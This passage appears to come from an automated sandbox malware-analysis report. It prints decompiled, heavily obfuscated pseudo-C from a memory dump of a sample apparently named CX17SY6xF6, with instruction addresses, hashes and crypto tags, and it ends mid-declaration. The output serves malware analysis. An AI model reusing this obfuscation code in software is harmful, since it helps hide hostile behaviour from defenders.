				while( *(_t958 + 0x5c) <  *((intOrPtr*)( *(_t958 + 0x38) + ( *( *(_t958 + 0x3c)) & 0x000000ff) * 4))) {
					asm("cdq");
					 *( *((intOrPtr*)(_t958 + 0x40)) +  *(_t958 + 0x5c) * 4) = 0xf32 %  *( *((intOrPtr*)(_t958 + 0x40)) +  *(_t958 + 0x5c) * 4);
					 *(_t958 - 0x10) =  *(_t958 + 0x5c);
					 *(_t958 - 0xc) =  *( *(_t958 + 0x44) + 0x40 +  *0x116dee0 * 3 * 2) & 0x0000ffff ^  *( *(_t958 + 0x4c) + ( *( *(_t958 + 0x54)) & 0x000000ff) * 4);
					 *( *((intOrPtr*)(_t958 - 4)) +  *( *(_t958 + 0x70)) * 4) = E010E7E80( *(_t958 - 0x10),  *(_t958 - 0xc));
					_t739 =  *0x116dee8; // 0x0
					 *((intOrPtr*)( *((intOrPtr*)(_t958 + 0x6c)) + _t739 * 4)) =  *((intOrPtr*)( *((intOrPtr*)(_t958 + 0x74)) +  *( *(_t958 + 0x70)) * 4));
					_t740 =  *0x116dee8; // 0x0
					 *0x116dee8 = _t740 + 1;
					 *(_t958 + 0x28) =  *(_t958 + 0x5b) & 0x000000ff;
					 *(_t958 + 0x5b) =  *(_t958 + 0x5b) + 1;
					 *(_t958 - 0x2c) =  *(_t958 + 0x5c) *  *( *((intOrPtr*)(_t958 + 0x7c)) + (( *( *(_t958 + 0x54)) & 0x000000ff) << 2) * 4);
					_t600 =  *0x116df20; // 0x0
					 *(_t958 - 0x28) =  *(_t600 + 0x1c +  *(_t958 + 0x5c) * 4) | 0x000017a7;
					_t747 =  *0x116deec; // 0x0
					 *((intOrPtr*)(_t958 - 0x24)) =  *((intOrPtr*)(_t747 + 0x28cc));
					 *(_t958 - 0x20) =  *(_t958 + 0x5c);
					_t603 =  *0x116dee0; // 0x0
					 *(_t958 - 0x1c) = _t603 |  *( *(_t958 + 0x38) + ( *(_t958 + 0x48) << 2) * 4);
					 *(_t958 - 0x18) =  *( *((intOrPtr*)(_t958 + 0x78)) +  *(_t958 + 0x5c) * 2) & 0x0000ffff;
					 *(_t958 + 0x2c) =  *((intOrPtr*)( *((intOrPtr*)(_t958 + 0x34)) + 0x1624));
					_t607 =  *0x116df04; // 0x0
					 *(_t958 + 0x30) =  *(_t607 + ( *0x116def4 & 0x0000ffff) * 4) ^ 0x00000668;
					 *(_t958 - 0x14) =  *(_t958 + 0x5c);
					_t612 = E010E5000( *(_t958 + 0x28) & 0x0000ffff,  *(_t958 - 0x2c),  *(_t958 - 0x28),  *((intOrPtr*)(_t958 - 0x24)),  *(_t958 - 0x20),  *(_t958 - 0x1c),  *(_t958 - 0x18),  *(_t958 + 0x2c) & 0x0000ffff,  *(_t958 + 0x30) & 0x0000ffff,  *(_t958 - 0x14));
					_t758 =  *0x116df30; // 0x0
					 *((intOrPtr*)( *((intOrPtr*)(_t958 + 0x40)) + _t758 * 4)) = _t612;
					 *((intOrPtr*)(_t958 - 0x34)) = 0xe55;
					 *(_t958 - 0x30) =  *(_t958 + 0x5c);
					( *(_t958 + 0x3c))[( *( *(_t958 + 0x3c)) & 0x000000ff) + 0x1f] = E010E7E80( *((intOrPtr*)(_t958 - 0x34)),  *(_t958 - 0x30));
					 *((intOrPtr*)(_t958 - 0x44)) =  *((intOrPtr*)( *((intOrPtr*)(_t958 + 8)) +  *( *(_t958 + 0x70)) * 3 * 4));
					 *(_t958 - 0x40) =  *(_t958 + 0x68) *  *(_t958 + 0x5c);
					 *(_t958 + 0x68) =  *(_t958 + 0x68) + 1;
					_t618 =  *0x116dee0; // 0x0
					asm("cdq");
					 *(_t958 - 0x3c) = _t618 %  *(_t958 + 0x5c);
					 *(_t958 - 0x38) = ( *(_t958 + 0x70))[ *( *(_t958 + 0x54)) & 0x000000ff];
					 *(_t958 + 0x54) =  *(_t958 + 0x54) - 1;
					_push( *(_t958 - 0x38));
					_push( *(_t958 - 0x3c));
					_push( *(_t958 - 0x40));
					_push( *((intOrPtr*)(_t958 - 0x44)));
					_t624 = E010D4250();
					_t961 = _t961 + 0x48;
					 *0x116df38 = _t624;
					 *( *(_t958 + 0x10) +  *(_t958 + 0x5c) * 2) = ( *( *_t958 +  *( *(_t958 + 0x70)) + 0x14) & 0x000000ff) - ( *( *(_t958 + 0x10) +  *(_t958 + 0x5c) * 2) & 0x0000ffff);
					_t629 =  *0x116df34; // 0x0
					if(_t629 >=  *((intOrPtr*)( *((intOrPtr*)(_t958 + 0x6c)) +  *(_t958 + 0x5c) * 4)) ||  *((intOrPtr*)( *((intOrPtr*)(_t958 + 0x7c)) + 0x2c +  *(_t958 + 0x5c) * 4)) >= ( *(_t958 + 0x5b) & 0x000000ff)) {
						if( *((intOrPtr*)( *((intOrPtr*)(_t958 + 0x74)) + 8 +  *( *(_t958 + 0x70)) * 3 * 4)) >  *(_t958 + 0x5c)) {
							 *( *(_t958 + 0x44) +  *(_t958 + 0x5c) * 2) = ( *0x116dee5 & 0x000000ff &  *(_t958 + 0x48)) + ( *( *(_t958 + 0x44) +  *(_t958 + 0x5c) * 2) & 0x0000ffff);
							 *( *((intOrPtr*)(_t958 + 0x40)) + 0x5c + ( *(_t958 + 0x5c) << 2) * 4) =  *( *((intOrPtr*)(_t958 - 8)) +  *0x116df08) & 0x000000ff;
							 *0x116dee4 =  *( *(_t958 + 0x4c) + ( *( *(_t958 + 0x54)) & 0x000000ff) * 4);
							 *((intOrPtr*)(_t958 - 0x58)) =  *(_t958 + 0x5c) -  *(_t958 + 0x5c);
							 *(_t958 - 0x54) =  *( *(_t958 + 4) + 2 +  *( *(_t958 + 0x70)) * 2) & 0x0000ffff &  *( *(_t958 + 0x4c) + 0x7c +  *(_t958 + 0x5c) * 4);
							 *(_t958 + 0x70) =  *(_t958 + 0x70) - 4;
							_t781 =  *0x116def8; // 0x0
							 *((intOrPtr*)(_t958 - 0x50)) = _t781;
							 *(_t958 - 0x4c) =  *( *((intOrPtr*)(_t958 + 0x6c)) + 0xc +  *( *(_t958 + 0x70)) * 4) %  *(_t958 + 0x5c);
							_t936 =  *0x116df18; // 0x0
							 *((intOrPtr*)(_t958 - 0x48)) = _t936 +  *(_t958 + 0x5c);
							 *(_t958 + 0x24) =  *((intOrPtr*)( *((intOrPtr*)(_t958 + 8)) +  *(_t958 + 0x5c) * 4));
							 *( *(_t958 + 0x70)) =  *( *(_t958 + 0x70)) - 1;
							_t653 = E010E6F90( *((intOrPtr*)(_t958 - 0x58)),  *(_t958 - 0x54),  *((intOrPtr*)(_t958 - 0x50)),  *(_t958 - 0x4c),  *((intOrPtr*)(_t958 - 0x48)),  *(_t958 + 0x24) & 0x0000ffff);
							_t961 = _t961 + 0x18;
							 *((short*)( *((intOrPtr*)(_t958 + 0x34)) +  *( *(_t958 + 0x70)) * 2)) = _t653;
							 *0x116ded8 = ( *( *(_t958 + 0x44) + ( *( *(_t958 + 0x54)) & 0x000000ff) * 2) & 0x0000ffff) *  *(_t958 + 0x5c) | ( *(_t958 + 0x70))[0xe97] |  *0x116ded8;
							 *(_t958 + 0x54) =  *(_t958 + 0x54) + 1;
						}
					}
					 *(_t958 + 0x5c) =  *(_t958 + 0x5c) + 1;
				}
				 *(_t958 + 0x50) =  *( *((intOrPtr*)(_t958 + 0xc)) +  *0x116df08) & 0x000000ff;
				while( *(_t958 + 0x50) != ( *(_t958 + 0x5b) & 0x000000ff)) {
					_t952 =  *0x116df1c; // 0x0
					asm("cdq");
					asm("cdq");
					 *( *(_t958 + 0x54) +  *(_t958 + 0x50)) = (0x0000166f /  *(_t952 + 0x10 + ( *0x116def0 & 0x0000ffff) * 4) ^  *(_t958 + 0x50)) / ( *( *((intOrPtr*)(_t958 + 0xc)) +  *(_t958 + 0x50)) & 0x000000ff) ^  *( *(_t958 + 0x54) +  *(_t958 + 0x50)) & 0x000000ff;
					 *(_t958 - 0x6c) =  *( *(_t958 + 4) +  *( *(_t958 + 0x70)) * 2) & 0x0000ffff;
					 *((intOrPtr*)(_t958 - 0x68)) = 0xedb;
					 *(_t958 - 0x64) =  *(_t958 + 0x50);
					 *((intOrPtr*)(_t958 - 0x60)) = ( *( *(_t958 + 0x10) + 0x1072) & 0x0000ffff) +  *((intOrPtr*)( *((intOrPtr*)(_t958 + 0x7c)) + ( *(_t958 + 0x50) << 2) * 4));
					 *(_t958 - 0x5c) =  *( *((intOrPtr*)(_t958 + 0x74)) + 0x58 +  *(_t958 + 0x50) * 4) |  *0x116dee0;
					_t862 =  *0x116df10; // 0x0
					 *0x116df10 = _t862 + 1;
					 *(_t958 + 0x20) = ( *( *((intOrPtr*)(_t958 + 0x34)) + 0x15d4) & 0x0000ffff) *  *0x116df10;
					_t570 = E010E6F90( *(_t958 - 0x6c),  *((intOrPtr*)(_t958 - 0x68)),  *(_t958 - 0x64),  *((intOrPtr*)(_t958 - 0x60)),  *(_t958 - 0x5c),  *(_t958 + 0x20) & 0x0000ffff);
					_t961 = _t961 + 0x18;
					 *0x116df38 = _t570;
					_t953 =  *0x116df04; // 0x0
					_t716 =  *0x116df04; // 0x0
					 *((intOrPtr*)(_t716 +  *0x116df30 * 3 * 4)) =  *( *((intOrPtr*)(_t958 + 0x7c)) + ( *( *(_t958 + 0x54)) & 0x000000ff) * 4) -  *((intOrPtr*)(_t953 +  *0x116df30 * 3 * 4));
					 *(_t958 + 0x54) =  *(_t958 + 0x54) + 1;
					( *(_t958 + 0x70))[ *(_t958 + 0x48)] = ( *0x116df2c & 0x0000ffff) *  *( *((intOrPtr*)(_t958 + 0x74)) +  *(_t958 + 0x50) * 4) - ( *( *_t958 +  *(_t958 + 0x48) + 0xe) & 0x000000ff) |  *( *((intOrPtr*)(_t958 - 4)) +  *( *(_t958 + 0x70)) * 4);
					_t955 =  *0x116df24; // 0x0
					 *((intOrPtr*)( *((intOrPtr*)(_t958 + 0x7c)) +  *(_t958 + 0x50) * 4)) = ( *( *((intOrPtr*)(_t958 + 0x7c)) + 0x6790) |  *( *((intOrPtr*)(_t958 + 0x7c)) + ( *( *(_t958 + 0x54)) & 0x000000ff) * 4)) /  *(_t955 +  *( *(_t958 + 0x70)) * 4) + ( *0x116dee6 & 0x000000ff);
					 *(_t958 + 0x70) =  *(_t958 + 0x70) - 4;
					 *(_t958 + 0x54) =  *(_t958 + 0x54) + 1;
					_t584 =  *0x116df14; // 0x0
					 *0x116ded8 = (_t584 % ( *0x116df2c & 0x0000ffff) +  *(_t958 + 0x50)) /  *0x116ded8;
					 *(_t958 + 0x50) =  *(_t958 + 0x50) + 1;
				}
				_t824 =  *0x116df18; // 0x0
				 *(_t958 + 0x18) = _t824 + 0xe02;
				_t524 =  *0x116df18; // 0x0
				 *0x116df18 = _t524 - 1;
				 *(_t958 - 0x88) =  *( *((intOrPtr*)(_t958 + 0x78)) +  *(_t958 + 0x48) * 2) & 0x1c64;
				_t528 =  *0x116df18; // 0x0
				asm("cdq");
				 *(_t958 - 0x84) = _t528 % 0x1c97;
				 *((intOrPtr*)(_t958 - 0x80)) = 0x11b6;
				_t828 =  *0x116defc; // 0x0
				_t530 =  *0x116df1c; // 0x0
				 *((intOrPtr*)(_t958 - 0x7c)) =  *((intOrPtr*)(_t530 + _t828 * 4));
				 *(_t958 - 0x78) =  *( *(_t958 + 0x44) + ( *0x116def4 & 0x0000ffff) * 2) & 0x0000ffff;
				 *((intOrPtr*)(_t958 - 0x74)) = 0x3cb -  *((intOrPtr*)( *(_t958 + 0x4c) + ( *( *(_t958 + 0x3c)) & 0x000000ff) * 4));
				 *(_t958 + 0x14) =  *( *((intOrPtr*)(_t958 + 0xc)) + ( *0x116def4 & 0x0000ffff)) & 0x000000ff;
				 *(_t958 + 0x1c) = ( *( *((intOrPtr*)(_t958 - 8)) +  *0x116dee0) & 0x000000ff) + 0x324;
				 *(_t958 - 0x70) =  *(_t958 + 0x68);
				 *((char*)( *(_t958 + 0x54) +  *( *(_t958 + 0x4c)))) = E010E5000( *(_t958 + 0x18) & 0x0000ffff,  *(_t958 - 0x88),  *(_t958 - 0x84),  *((intOrPtr*)(_t958 - 0x80)),  *((intOrPtr*)(_t958 - 0x7c)),  *(_t958 - 0x78),  *((intOrPtr*)(_t958 - 0x74)),  *(_t958 + 0x14) & 0x0000ffff,  *(_t958 + 0x1c) & 0x0000ffff,  *(_t958 - 0x70));
				 *((intOrPtr*)( *(_t958 + 0x38) +  *( *(_t958 + 0x70)) * 4)) =  *((intOrPtr*)( *(_t958 + 0x38) + ( *( *(_t958 + 0x54)) & 0x000000ff) * 3 * 4));
				 *((intOrPtr*)( *(_t958 + 0x4c) + 0x84 +  *( *(_t958 + 0x70)) * 4)) = ( *0x116def4 & 0x0000ffff) -  *((intOrPtr*)( *(_t958 + 0x4c) + 0x84 +  *( *(_t958 + 0x70)) * 4));
				 *(_t958 + 0x70) =  &(( *(_t958 + 0x70))[1]);
				_t848 =  *0x116df20; // 0x0
				 *(_t958 - 0x8c) =  *( *((intOrPtr*)(_t958 + 0x34)) + ( *( *(_t958 + 0x70)) << 2) * 2) & 0x0000ffff &  *(_t848 + ( *( *(_t958 + 0x54)) & 0x000000ff) * 4);
				 *(_t958 + 0x70) =  &(( *(_t958 + 0x70))[1]);
				return  *(_t958 - 0x8c);
			}

0x010e6711
0x010e6715
0x010e6727
0x010e6737
0x010e673a
0x010e6741
0x010e674d
0x010e6750
0x010e675d
0x010e676d
0x010e6775
0x010e6782
0x010e6793
0x010e679a
0x010e67a9
0x010e67c5
0x010e67c8
0x010e67da
0x010e67ec
0x010e6805
0x010e681e
0x010e6821
0x010e682c
0x010e6840
0x010e6854
0x010e685a
0x010e6876
0x010e688a
0x010e6897
0x010e68a5
0x010e68c5
0x010e68cf
0x010e68d5
0x010e68f3
0x010e690e
0x010e6916
0x010e6925
0x010e6928
0x010e6931
0x010e693c
0x010e6945
0x010e695b
0x010e6961
0x010e6970
0x010e697e
0x010e6987
0x010e698d
0x010e6999
0x010e69a1
0x010e69ae
0x010e69c3
0x010e69ce
0x010e69dc
0x010e69e3
0x010e6a11
0x010e6a19
0x010e6a22
0x010e6a25
0x010e6a2f
0x010e6a4b
0x010e6a5b
0x010e6a65
0x010e6a6e
0x010e6a71
0x010e6a76
0x010e6a7a
0x010e6a89
0x010e6a92
0x010e6a98
0x010e6a9c
0x010e6aa0
0x010e6aa4
0x010e6aa5
0x010e6aaa
0x010e6aad
0x010e6ad1
0x010e6adb
0x010e6ae3
0x010e6b09
0x010e6b2b
0x010e6b44
0x010e6b54
0x010e6b60
0x010e6b7a
0x010e6b83
0x010e6b86
0x010e6b8c
0x010e6ba0
0x010e6ba3
0x010e6bac
0x010e6bb9
0x010e6bc8
0x010e6be3
0x010e6be8
0x010e6bf3
0x010e6c1f
0x010e6c2b
0x010e6c2b
0x010e6b09
0x010e68a2
0x010e68a2
0x010e6c3f
0x010e6c4d
0x010e6c61
0x010e6c6c
0x010e6c7d
0x010e6c91
0x010e6c9f
0x010e6ca2
0x010e6cac
0x010e6ccd
0x010e6ce0
0x010e6ce3
0x010e6cec
0x010e6d0b
0x010e6d28
0x010e6d2d
0x010e6d30
0x010e6d45
0x010e6d58
0x010e6d5e
0x010e6d67
0x010e6d98
0x010e6dbd
0x010e6dd7
0x010e6de0
0x010e6de9
0x010e6df3
0x010e6e09
0x010e6c4a
0x010e6c4a
0x010e6e13
0x010e6e1f
0x010e6e23
0x010e6e2b
0x010e6e3f
0x010e6e45
0x010e6e4a
0x010e6e52
0x010e6e58
0x010e6e5f
0x010e6e65
0x010e6e6d
0x010e6e7e
0x010e6e92
0x010e6ea4
0x010e6eba
0x010e6ec1
0x010e6f05
0x010e6f1f
0x010e6f40
0x010e6f4d
0x010e6f65
0x010e6f6e
0x010e6f7a
0x010e6f8a

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47eb0f6d37790db613c1fc93842dac2cc4ce492001657317a35b2af452e5b577
Instruction ID: 22115467a0d4c1a5d04efaa0d5c937a995c69c9a4ede09088bf12e948c7dd369
Opcode Fuzzy Hash: 47eb0f6d37790db613c1fc93842dac2cc4ce492001657317a35b2af452e5b577
Instruction Fuzzy Hash: BF62F674A04258CFCB28CF99D4909A9BBF2FF8D304B148159FD658B369D735E992CB40

Uniqueness

Uniqueness Score: -1.00%

Function 010D4250 Relevance: .4, Instructions: 399
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E010D4250() {
				signed int _t333;
				signed int _t335;
				signed int _t339;
				signed char _t351;
				signed int _t376;
				signed int _t380;
				intOrPtr _t389;
				signed int _t390;
				intOrPtr _t398;
				intOrPtr _t412;
				intOrPtr _t423;
				intOrPtr _t425;
				signed int _t435;
				signed int _t444;
				intOrPtr _t446;
				short _t459;
				signed short _t474;
				signed int _t477;
				intOrPtr _t494;
				signed int _t502;
				signed int _t510;
				intOrPtr _t513;
				intOrPtr _t522;
				signed int _t525;
				intOrPtr _t530;
				signed int _t542;
				signed int _t548;
				intOrPtr _t575;
				signed int _t577;
				intOrPtr _t581;
				intOrPtr _t594;
				signed int _t619;
				signed int* _t635;
				void* _t637;
				void* _t638;

				_t635 = _t637 - 0x68;
				_t638 = _t637 - 0x9c;
				_t635[0x1f] = _t635[0x1f] + 1;
				_t635[0x10] = _t635[0x1f] + _t635[0x1f];
				 *((intOrPtr*)(_t635 - 0x1c)) = 0xe5f;
				_t635[0x13] = 0x1c27;
				_t635[8] = _t635[0x1f] - 0x1b62;
				_t333 =  *0x116dee0; // 0x0
				 *0x116dee0 = _t333 + 1;
				_t435 =  *0x116dee0; // 0x0
				_t522 =  *0x116df1c; // 0x0
				_t335 =  *0x116dee0; // 0x0
				_t635[0x12] = _t335 |  *(_t522 + _t435 * 4);
				_t635[0xe] = _t635[0x1f] % 0x1244;
				_t525 =  *0x116df30; // 0x0
				 *0x116df30 = _t525 + 1;
				_t339 =  *0x116df30; // 0x0
				 *(_t635 - 0x20) =  *(_t635[0x1d] + 0x5c + _t635[0x1f] * 4) &  *(_t635[0x1e] + (_t339 << 1) * 4);
				_t635[0x1f] = _t635[0x1f] - 1;
				_t530 =  *0x116df0c; // 0x0
				 *((intOrPtr*)(_t635 - 0x24)) =  *((intOrPtr*)(_t530 + 0x1248)) - 0x18ed;
				 *(_t635 - 0x28) =  *0x116dee6 & 0x000000ff ^  *(_t635[0x1e] + 0x1178);
				_t635[0xd] =  *(_t635[0x1e] + (_t635[0x1f] << 2) * 4);
				_t635[0x1f] = _t635[0x1f] + 1;
				_t444 =  *0x116df38; // 0x0
				_t635[0x17] = _t444 |  *0x116def8;
				_t635[0x19] = ( *0x116dee6 & 0x000000ff) - 0x16b8;
				 *((intOrPtr*)(_t635 - 0x2c)) = 0x92;
				_t446 =  *0x116dedc; // 0x0
				_t635[0x18] =  *(_t446 + 4 + (( *0x116dee6 & 0x000000ff) << 2) * 4) * 0xf7b;
				_t351 =  *0x116dee6; // 0x0
				 *0x116dee6 = _t351 + 1;
				_t635[0xc] = 0x64f -  *0x116df08;
				_t635[0x14] =  *(_t635[0x1d] + _t635[0x1f] * 4) | 0x00001351;
				_t635[0xf] = (_t635[0x1c] + _t635[0x1f])[2] & 0x000000ff;
				_t635[0x1f] = _t635[0x1f] - 1;
				 *(_t635 - 0x30) = 0x6a6 /  *(_t635[0x1d] + (_t635[0x1f] << 2) * 4);
				_t542 =  *0x116defc; // 0x0
				 *0x116defc = _t542 + 1;
				 *((intOrPtr*)(_t635 - 0x34)) = _t635[0x1f] +  *0x116defc;
				_t635[0x15] = _t635[0x1f] +  *0x116df30;
				_t635[0x16] =  *(_t635[0x1c] + _t635[0x1f]) & 0x000000ff;
				while(1) {
					_t642 = _t635[0x16] - (_t635[0x19] & 0x0000ffff);
					if(_t635[0x16] < (_t635[0x19] & 0x0000ffff)) {
						break;
					}
					_t635[9] =  *(_t635[0x14] + 0x66f0);
					_t635[0x19] = _t635[0x19] - 1;
					_t635[0xa] = ( *(_t635[0x17] + 0x2ea6) & 0x0000ffff) -  *((intOrPtr*)(_t635[0x1e] + (_t635[0x19] & 0x0000ffff) * 4));
					_t635[0xb] = _t635[0x16] + _t635[0x16];
					_push(_t635[0xb]);
					_t398 = E010E8C30(_t642, _t635[9], _t635[0xa]);
					_t638 = _t638 + 0xc;
					 *0x116dee8 = _t398;
					_t635[0x10] = (( *0x116def4 & 0x0000ffff) * 0x00000588 |  *(_t635[8] + _t635[0x1f] * 4)) / _t635[0x10];
					_t635[7] =  *(_t635[0x13] + 4 + _t635[0x1f] * 3 * 4);
					_t635[6] = _t635[0x1f];
					_t635[0x1f] = _t635[0x1f] + 1;
					_t643 = _t635[7] - _t635[6];
					if(_t635[7] < _t635[6]) {
						_t594 =  *0x116df24; // 0x0
						_t494 =  *0x116deec; // 0x0
						 *((intOrPtr*)(_t635[0x13] + ( *(_t635[0x17]) & 0x0000ffff) * 4)) =  *(_t594 + _t635[0x1f] * 4) /  *(_t635[0x1d] + 4) -  *((intOrPtr*)(_t494 + ( *(_t635[0x17]) & 0x0000ffff) * 4)) +  *((intOrPtr*)(_t635[0x13] + ( *(_t635[0x17]) & 0x0000ffff) * 4));
						_t635[0x17] = _t635[0x17] + 2;
						_t635[0x1f] = _t635[0x1f] + 1;
						_t635[0x19] = _t635[0x19] + 1;
						_t412 =  *0x116dedc; // 0x0
						_t635[0x15] =  *((intOrPtr*)(_t412 + ((_t635[0x19] & 0x0000ffff) << 2) * 4));
						_t635[2] = ( *(_t635[0xc] + (( *(_t635[0x17]) & 0x0000ffff) << 2) * 2) & 0x0000ffff) * (_t635[0x18] & 0x000000ff);
						_t502 =  *0x116df14; // 0x0
						_t635[3] = _t502;
						_t635[4] =  *(_t635[0x14] + ( *(_t635[0x17]) & 0x0000ffff) * 4);
						_t635[5] =  *(_t635[0xd] + 0x18 + _t635[0x16] * 4);
						 *(_t635[0x14]) =  *(_t635[0x14]) - 1;
						 *((intOrPtr*)(_t635[0xf] +  *(_t635[0x14]) * 4)) = E010E4DD0(_t635[0x15] & 0x000000ff, _t635[2], _t635[3], _t635[4], _t635[5]);
						 *(_t635 - 4) = _t635[0x15] & 0x000000ff;
						_t510 =  *0x116defc; // 0x0
						_t423 =  *0x116df20; // 0x0
						 *_t635 =  *0x116def4 & 0x0000ffff ^  *(_t423 + _t510 * 4);
						_t635[1] = _t635[0x1f];
						_push(_t635[1]);
						_t425 = E010E8C30(_t643,  *(_t635 - 4),  *_t635);
						_t638 = _t638 + 0x20;
						_t513 =  *0x116dedc; // 0x0
						 *((intOrPtr*)(_t513 + 0x10 + _t635[0x16] * 4)) = _t425;
						_t619 =  *0x116dee0; // 0x0
						asm("cdq");
						 *0x116defc = (( *0x116dee4 & 0x000000ff) - ( *(_t635[0x1c] + _t619 * 4) & 0x000000ff)) %  *(_t635[0xf] + (_t635[0x16] << 2) * 4) + 0x0000004a |  *0x116defc;
						 *((char*)(_t635[0x1c] +  *0x116df14 + 5)) = _t635[0x1f] % 0x1886;
						_t635[0x1f] = _t635[0x1f] + 1;
					}
					_t635[0x16] = _t635[0x16] + 1;
				}
				_t548 =  *0x116dee0; // 0x0
				 *0x116df00 = (_t548 ^  *(_t635[0x13] + ( *(_t635[0x14]) << 1) * 4)) -  *(_t635[0x1d] + _t635[0x1f] * 4) ^ _t635[0x12] |  *0x116df00;
				_t459 =  *0x116df34; // 0x0
				 *((short*)(_t635[0x17] + 0x2c + ( *0x116def4 & 0x0000ffff) * 2)) = _t459;
				 *(_t635[0x1e] + _t635[0x1f] * 4) = 0xb04 /  *(_t635[0x1d] + 0x1c + _t635[0x1f] * 4) /  *(_t635[0x13] + 0x18 + _t635[0x1f] * 4) % 0xabc /  *(_t635[0x1e] + _t635[0x1f] * 4);
				 *(_t635[0x17]) =  *(_t635[0x17]) - 1;
				 *(_t635[0xe] + ( *(_t635[0x17]) & 0x0000ffff) * 2) = 0x1365 - _t635[0x12] + ( *(_t635[0xe] + ( *(_t635[0x17]) & 0x0000ffff) * 2) & 0x0000ffff);
				_t376 =  *0x116df38; // 0x0
				asm("cdq");
				 *(_t635 - 0x18) = _t376 / ( *0x116def4 & 0x0000ffff);
				_t635[0x12] = _t635[0x12] - 1;
				 *(_t635 - 0x14) =  *(_t635[0xd] + ( *0x116dee6 & 0x000000ff) * 4) ^ _t635[0x12];
				_t380 =  *0x116def8; // 0x0
				 *(_t635 - 0x10) = _t380 *  *(_t635[0x1e] + 0xc + ( *(_t635[0x17]) & 0x0000ffff) * 4);
				 *(_t635 - 0xc) = _t635[0x19] & 0x0000ffff;
				_t635[0x19] = _t635[0x19] + 1;
				_t575 =  *0x116deec; // 0x0
				asm("cdq");
				 *(_t635 - 8) =  *(_t575 + _t635[0x1f] * 4) / (_t635[0x18] & 0x000000ff);
				_t635[0x18] = _t635[0x18] + 1;
				_t474 =  *0x116ded8; // 0x0
				_t635[0x11] = _t474;
				_t577 =  *0x116df38; // 0x0
				 *0x116df38 = _t577 - 1;
				_t389 = E010E64B0( *(_t635 - 0x18),  *(_t635 - 0x14),  *(_t635 - 0x10),  *(_t635 - 0xc),  *(_t635 - 8), _t635[0x11] & 0x0000ffff);
				_t477 =  *0x116df38; // 0x0
				_t581 =  *0x116deec; // 0x0
				 *((intOrPtr*)(_t581 + 0x24 + _t477 * 4)) = _t389;
				_t390 =  *0x116df08; // 0x0
				__eflags =  &(_t635[0x1a]);
				return  *(_t635[0xc] + (_t390 << 1) * 2) & 0x0000ffff;
			}

0x010d4251
0x010d4255
0x010d4262
0x010d426b
0x010d426e
0x010d4275
0x010d4285
0x010d4288
0x010d4290
0x010d4295
0x010d429b
0x010d42a1
0x010d42a9
0x010d42b8
0x010d42bb
0x010d42c4
0x010d42ca
0x010d42e1
0x010d42ea
0x010d42f8
0x010d4306
0x010d4321
0x010d4330
0x010d4339
0x010d433c
0x010d4348
0x010d4358
0x010d435c
0x010d436d
0x010d437b
0x010d437e
0x010d4385
0x010d4395
0x010d43a7
0x010d43b4
0x010d43bd
0x010d43d3
0x010d43d6
0x010d43df
0x010d43ee
0x010d43fa
0x010d4406
0x010d4414
0x010d4418
0x010d441b
0x00000000
0x00000000
0x010d4432
0x010d443d
0x010d445d
0x010d4466
0x010d446c
0x010d4475
0x010d447a
0x010d447d
0x010d449d
0x010d44ab
0x010d44b1
0x010d44ba
0x010d44c0
0x010d44c3
0x010d44d7
0x010d44ee
0x010d450c
0x010d4515
0x010d451e
0x010d4529
0x010d4534
0x010d453c
0x010d4556
0x010d4559
0x010d455f
0x010d456e
0x010d457b
0x010d4589
0x010d45b0
0x010d45b7
0x010d45ba
0x010d45c7
0x010d45cf
0x010d45d5
0x010d45db
0x010d45e4
0x010d45e9
0x010d45ef
0x010d45f5
0x010d4600
0x010d4618
0x010d4625
0x010d4640
0x010d4649
0x010d4649
0x010d4411
0x010d4411
0x010d465b
0x010d4676
0x010d4686
0x010d468d
0x010d46cb
0x010d46db
0x010d46fe
0x010d4709
0x010d470e
0x010d4711
0x010d471a
0x010d472d
0x010d4739
0x010d4743
0x010d474a
0x010d4755
0x010d4760
0x010d4769
0x010d476c
0x010d4774
0x010d4777
0x010d477e
0x010d4782
0x010d478b
0x010d47aa
0x010d47b2
0x010d47b8
0x010d47be
0x010d47c2
0x010d47d1
0x010d47d7

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9704c2ec033d51e01fc4a171558dcff71a448b38e2e317fa8734444e882d99d5
Instruction ID: 1b2beffc2c579ca48e626b6fce8fcd9f0a2c94b2b8f700fd29ae99fa6126bbc1
Opcode Fuzzy Hash: 9704c2ec033d51e01fc4a171558dcff71a448b38e2e317fa8734444e882d99d5
Instruction Fuzzy Hash: EF12D774604258CFCB28CF69D4909A97BF2FF9C304B14816AEDA587369D775E892CF80

Uniqueness

Uniqueness Score: -1.00%

Function 010E7E80 Relevance: .3, Instructions: 324
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E010E7E80(signed int _a4, intOrPtr _a8) {
				char _v5;
				signed int _v12;
				signed short _v16;
				signed int _v20;
				short _v24;
				short _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				intOrPtr _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				intOrPtr _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
